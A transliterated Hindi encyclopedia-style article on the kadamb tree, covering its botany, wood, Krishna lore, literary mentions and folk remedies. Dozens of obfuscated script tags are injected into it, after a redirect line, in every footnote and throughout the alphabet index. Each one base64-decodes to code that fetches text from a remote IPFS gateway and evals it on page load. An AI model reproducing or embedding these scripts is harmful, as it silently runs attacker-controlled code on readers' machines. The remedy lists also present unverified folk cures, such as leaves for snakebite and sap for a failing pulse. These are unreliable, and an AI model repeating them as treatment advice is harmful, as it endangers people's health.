कदम्ब

	kadamb
	kadamb ka pe d\|200px\|center
jagat	padap (Plantae)
gan	jenashiyanels (Gentianales)
kul	roobiyesi (Rubiaceae)
jati	niyolamarkiya (Neolamarckia")
prajati	kaidemba (cadamba)
dvipad nam	niyolamarkiya kadamba (Neolamarckia cadamba")
phool	geand ki tarah gol lagabhag 55 semi vyas ke hote haian jisamean anek ubhayaliangi puankesar komal shar ki bhaanti bahar ki or nikale hote haian.
tana	kadamb ka tana 100 se 160 seantimitar vyas ka, chikana, saphedi lie hue halke bhoore rang ka hota hai.
any janakari	banabhatt ke prasiddh kavy "kadambari" ki nayika "kadambari" ka nam bhi kadamb vriksh ke adhar par hai. isi tarah bharavi, magh aur bhavabhooti ne bhi apane kavy mean kadamb ka vishisht varnan kiya hai.

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chitr:Disamb2.jpg kadamb

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- kadamb (bahuvikalpi)

kadamb ek prasiddh phooladar vriksh hai. kadamb ka pe d kafi b da hota hai. kadamb ke pe d gramin kshetroan mean zyada hote haian. isake patte b de aur mote hote haian jinase goand bhi nikalata hai. kadamb ke pe d ke patte mahue ke pattoan jaise aur phal niboo ki tarah gol hote hai aur phool phaloan ke oopar hi hote haian. phool chhote aur khushabudar hote haian. varsha rritu mean jab yah phoolata hai, tab poora vriksh apane halke pile rang ke chhote-chhote phooloan se bhar jata hai. us samay isake phooloan ki madak sugandh se braj ke samast van aur upavan mahakane lagate haian. kadamb ke vriksh mean elkelayad kadambaee n. 3, alphadihaidro kadambin, glaikosids elkelayad, aiso- dihaidro kadambin, bitasitostiral, klinovik esid, peantasayaklik, trayatarpenik esid, kadambajenik esid, seponin, utpatt tel, kvinarik esid adi rasayanik tatvoan ki bharamar hoti hai, jinaki vajah se kadamb dev vriksh ki shreni mean ata hai.

jati evan rang

braj mean isaki kee jatiyaan payi jati haian, jisamean shvet-pit lal aur dron jati ke kadanb ullekhaniy haian. sadharanataya yahaan shvet-pip rang ke phooladar kadanb hi paye jate haian. kintu kumudavan ki kadanbakhandi mean lal rang ke phool vale kadanb bhi paye jate haian. shyam dhak adi kukh sthanoan mean aisi jati ke kadanb haian, jinamean prakritik rup se donoan ki tarah mu de hue patte nikalate haian. inhean 'dron kadanb' kaha jata hai. govardhan kshetr mean jo navi vrikshoan ka rop d kiya gaya hai, unamean ek naye prakar ka kadanb bhi bahut b di sankhya mean hai. braj ke sadharan kadanb se isake patte bhinn prakar ke haian tatha isake phool b de hote haian, kintu inamean sugandh nahian hoti hai. braj mean kadanb ka vriksh sada se b da prasiddh aur lokapriy raha hai. radha-krishna ki anek lilaean isi vriksh ke sugandhit vatavaran mean huee thian. madhy kal mean braj ke lila sthaloan ke anek upavanoan mean anek upavanoan is vahut b di sankhya mean lagaya gaya tha. ve upavan 'kadanbakhandi' kahalate haian. kadamb ki kee sari jatiyaan haian jaise-

rajakadamb
dhoolikadamb
kadambika

samany parichay

kadanb bharatiy upamahadvip mean ugane vala shobhakar vriksh hai. sugandhit phooloan se yukt barahoan mahine hare, tezi se badhane vale is vishal vriksh ki chhaya shital hoti hai. isaka vanaspatik nam enthosiphelas kadamb ya enthosiphelas iandikas hai, jo roobiesi parivar ka sadasy hai. uttar pradesh, bihar, madhy pradesh, maharashtr, bangal, u disa mean yah bahutayat mean paya jata hai. isake pe d ki adhikatam ooanchaee 45 mitar tak ho sakati hai. pattiyoan ki lanbaee 13 se 23 se.mi. hoti haian. apane svabhavik roop mean ye chikani, chamakadar, moti aur ubhari nasoan vali hoti haian, jinase goand nikalata hai.

kadamb ka phool

char paanch varsh ka hone par kadamb mean phool ane shuroo ho jate haian. kadanb ke phool lal gulabi pile aur narangi rang ki vibhinn chhayaoan vale ho sakate haian. any phooloan se bhinn inake akar geand ki tarah gol lagabhag 55 se.mi. vyas ke hote haian jisamean anek ubhayaliangi puankesar komal shar ki bhaanti bahar ki or nikale hote haian. ye guchchhoan mean khilate haian isilie isake phal bhi chhote goodedar guchchhoan mean hote haian, jinamean se har ek mean char sanput hote haian. isamean kh di aur a di panktiyoan mean lagabhag ath hazar bij hote haian. pakane par ye phat jate haian aur inake bij hava ya pani se door door tak bikhar jate haian. kadanb ke phal aur phool pashuoan ke lie bhojan ke kam ate haian. isaki pattiyaan bhi gay ke lie paushtik bhojan samajhi jati haian. isaka suangandhit narangi phool har prakar ke parag ekatrit karane vale kitoan ko akarshit karata hai jisamean anek bhauanre madhumakkhiyaan tatha any kit shamil haian. kadamb ka phool|thumb|left|250px

kadamb ka tana

kadamb ka tana 100 se 160 seantimitar vyas ka, chikana, saphedi lie hue halke bhoore rang ka hota hai. b de hone par yah khuradura aur dharidar ho jata hai. aur adhik purana hone par dhariyaan toot kar chakattoan jaisi ban jati haian. kadanb ki lak di safed se halki pili hoti hai. isaka ghanatv 290 se 560 kyoobik prati mitar aur nami lagabhag 15 pratishat hoti hai. lak di ke reshe sidhe hote haian yah chhoone mean chikani hoti hai aur isamean koee gandh nahian hoti. lak di ka svabhav narm hota hai isalie auzar aur mashinoan se yah asani se kat jati hai. yah asani se sookh jati hai aur isako khule taiankoan ya preshar vaikyuam dvara asani se sanrakshit kiya ja sakata hai. isaka bhandaran bhi lanbe samay tak kiya ja sakata hai. is lak di ka prayog plaivud ke makan, lugadi aur kagaz, bakse, kret, nav aur pharnichar banane ke kam ati hai. kadamb ke pe d se bahut hi umda kism ka chamakadar kagaz banata hai. isaki lak di ko ral ya rezin se mazaboot banaya jata hai. kadamb ki j doan se ek pila rang bhi prapt kiya jata hai.

prakriti, paryavaran aur svasthy ka sanrakshak

jangaloan ko phir se hara bhara karane, mitti ko upajaoo banane aur s dakoan ki shobha badhane mean kadanb mahatvapoorn bhoomika nibhata hai. yah tezi se badhata hai aur chhah se ath varshoan mean apane poore akar mean a jata hai. isalie jaldi hi bahut-si jagah ko hara bhara kar deta hai. vishalakay hone ke karan yah dher-si pattiyaan jha data hai jo zamin ke sath milakar use upajaoo banati haian. sajavati phooloan ke lie isaka vyavasayik upayog hota hai sath hi isake phooloan ka prayog ek vishesh prakar ke itr ko banane mean bhi kiya jata hai. jayapur ke suresh sharma ne kadanb ke pe d se ek aisi dava vikasit ki hai jo taip-2 dayabitij ka upachar kar sakati hai. bharat sarakar ke kantrolar janaral aauph peteants dvara is dava ka peteant bhi de diya gaya hai aur vishv vyapar sangathan ne ise aantarrashtriy vargikaran nanbar pradan kiya hai. d aau. sharma ke anusar kadanb ke pe doan mean haidrosinakonain aur kaidemabain namak do prakar ke kvinolain alakel aauids hote haian. inamean se haidrosinakonain sharir mean banane vali iansulin ke utpadan ko niyantrit karata hai aur kaidemabain iansulin grahiyoan ko phir se iansulin grahan karane ke prati sanvedanashil bana deta hai. gauratalab hai ki taip-2 dayabitij mean ya to sharir paryapt iansulin paida nahian karata hai ya phir koshikaean iansulin grahan karane ke prati sanvedanashilata kho deti haian yani iansulin grahan karana chho d deti haian. philahal is dava ka vyavasayik nirman praranbh nahian hua hai. is prakar kadanb ka vriksh prakriti aur paryavaran ko to sanrakshan deta hi hai, aushadhi aur saundary ka bhi mahattvapoorn srot hai.^[1]

krishna ka kadamb

thumb|kadamb ka vriksh krishna ki lilaoan se ju da hone ke karan kadamb ka ullekh brajabhasha ke anek kaviyoan ne kiya hai. isaka itr bhi banata hai jo barasat ke mausam mean adhik upayog mean ata hai. mathura mean ab yah vriksh bahut hi kam paya jata hai.

manush hauan to vahi rasakhani basauan braj gokul gaanv ke gvaran .
jau pasu hauan tau kaha bas mero charauan nit nand ki dhenu manjharan ॥
pahan hauan tau vahi giri ko jo dharayau kar chhatr purandar-dharan .
jau khag hauan tau basero karauan mili kaliandi-kool kadanb ki daran ॥

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

braj mean kadamb ka vishesh mahattv

braj mean kadamb ke pe d ki bahut mahima hai. jab braj ki kuanj galiyan mean athakheliyaan karane vala kanha kabhi kadamb ki saghan chhaanv mean aankhean band karake baansuri ki tan chhe data to prakriti bhi sammohit ho uthati thi. kadamb ke vriksh se kaliya nag par chhalaang lagane, gopiyoan ke vastr churane ki ghatana ho ya sudama ke sath chane khane ka vakaya. dvapar ke jamane mean krishna ka sathi raha kadamb ka vriksh aj upeksha ka shikar ho chala hai. kabhi modara ke ashapuri mata mandir praangan mean kadamb ke darjanoan vriksh hua karate the, lekin ab in vrikshoan ki sudh lene vala koee nahian hai. aitihasik mahatv ke in vrikshoan ke prati kshetr ke logoan ki agadh astha hai. b de-boodhoan ke mutabiq ek jamana tha jab yahaan ramaniyaan shravani tij par un par jhoole dalakar ooanchi piange badhati thian. amavasya, poornima, ekadashi aur chauth samet kee tithiyoan par yahaan ki mahilaean ab bhi in vrikshoan ka poojan karake vastr adi chadhati haian. ek pauranik katha ke mutabiq svarg se amrit pikar laut rahe vishnu ke vahan garu d ki choanch se kuchh booande kadamb ke vriksh par gir gee thi. is karan yah amrit tuly mana jata hai. shravan mas mean ane vale isake phooloan ka bhi vishesh mahatv hai.

kamadev ka priy vriksh

29 nakshatroan mean se shatabhisha nakshatr ka vriksh kadamb kamadev ka priy mana jata hai. isake alava bhagavan vishnu, devi parvati aur kali ka bhi yah priy vriksh hai. bhinamal ke kavi magh ne apane kavy mean isaka varnan kiya. unake alava banabhatt ke prasiddh kavy "kadambari" ki nayika "kadambari" ka nam bhi kadamb vriksh ke adhar par hai. isi tarah bharavi, magh aur bhavabhooti ne bhi apane kavy mean kadamb ka vishisht varnan kiya hai. vahian prasiddh vaijnanik aryabhat ne apane shodh mean kadamb vriksh ka ullekh kiya hai.^[2]

aushadhiy upayog

thumb|kadamb ka phool

gramin aanchaloan mean isaka upayog khataee ke lie hota hai. isake bijoan se nikala tel khane aur dipak jalane ke kam ata hai.
bachchoan mean hajama thik karane ke lie kadanb ke phaloan ka ras bahut hi fayademand hota hai.
isaki pattiyoan ke ras ko alsar tatha ghav thik karane ke kam mean bhi liya jata hai.
ayurved mean kadanb ki sookhi lak di se jvar door karane ki dava tatha muanh ke rogoan mean pattiyoan ke ras se kulla karane ka ullekh milata hai.
yadi pashuoan ko koee rog ho jae to isake phooloan aur pattiyoan ko pashuoan ko ba de mean rakhe, rog nahian phailega.
kadanb ki pattiyaan saanp katane ke ilaj mean kam ati haian.
isaki j d mootr rogoan mean labhakari hai.
isaki chhal ko ghis kar bahar se lagane par kanajaktivaitis thik ho jata hai.
isake phaloan ka ras maan ke doodh ko badhata hai.
chot ya ghav ya soojan par isake pattoan ko halka garm kar baandhane se aram milata hai.^[3]

ghareloo upayog

kadamb ke phool patte, chhal, phal sabhi labhadayak haian.
bukhar n ja raha ho to kadamb ki chhal ka kadha din mean do- tin bar pi lijiye.
agar pattoan ke kadhe se kulla kareange to muanh ke chhale aur daant ki bimariyoan mean aram milega.
badahajami ho gayi ho to kadamb ki kachchi koanpalean 4-5 chaba lijiye.
badan par lal chakatte p d gaye hoan to kadamb ki 5 koanpale subah-sham chabaean.
kadamb ke phal apake prajanan aangoan ko majaboot karate haian.
khoon mean koee kami a jae to kadamb ke phal aur pattoan ka 4 gram choorn lagatar ek mahina kha lijiye.
pho de- phuansi aur gale ke dard mean kadamb ke phool aur pattoan ka kadha banakar pijiye.
mahilaoan ko apane vaksh -sthal pusht rakhane haian to kadamb ke phooloan ki chatani banakar lep kijie.
dast ho rahe hoan to kadamb ki chhal ka kadha pi lijie ya chhal ka ras 2-2 chammach, lekin bachchoan ko dete samay is ras mean jire ka choorn ek chutaki aur mishri bhi mila lijiye.
aankh mean khujali ho rahi hai ya aankh a gayi hai to isaki chhal ka ras lep kar lijiye.
saanp ke katane par isake phal phool patte jo bhi mil jaean pahale to pis kar lep kijie phir kadha banakar pilaie.
dil ki takaliphoan ya nadi doobane ki halat mean isaka ras 2 chammach pila dijiye.^[4]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ upayogi dhang kadanb ke (hiandi) abhivyakti. abhigaman tithi: 25 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ye kadamb ka pe d (hiandi) chetana ke svar ujale ki or. abhigaman tithi: 25 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kadamb ke vriksh ka aushadhiy prayog (hiandi) Natural Care:ayurvedik upachar. abhigaman tithi: 25 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ye krishna ka kadamb (hiandi) mera samast (bl aaug). abhigaman tithi: 25 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] upayogi dhang kadanb ke (hiandi) abhivyakti. abhigaman tithi: 25 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

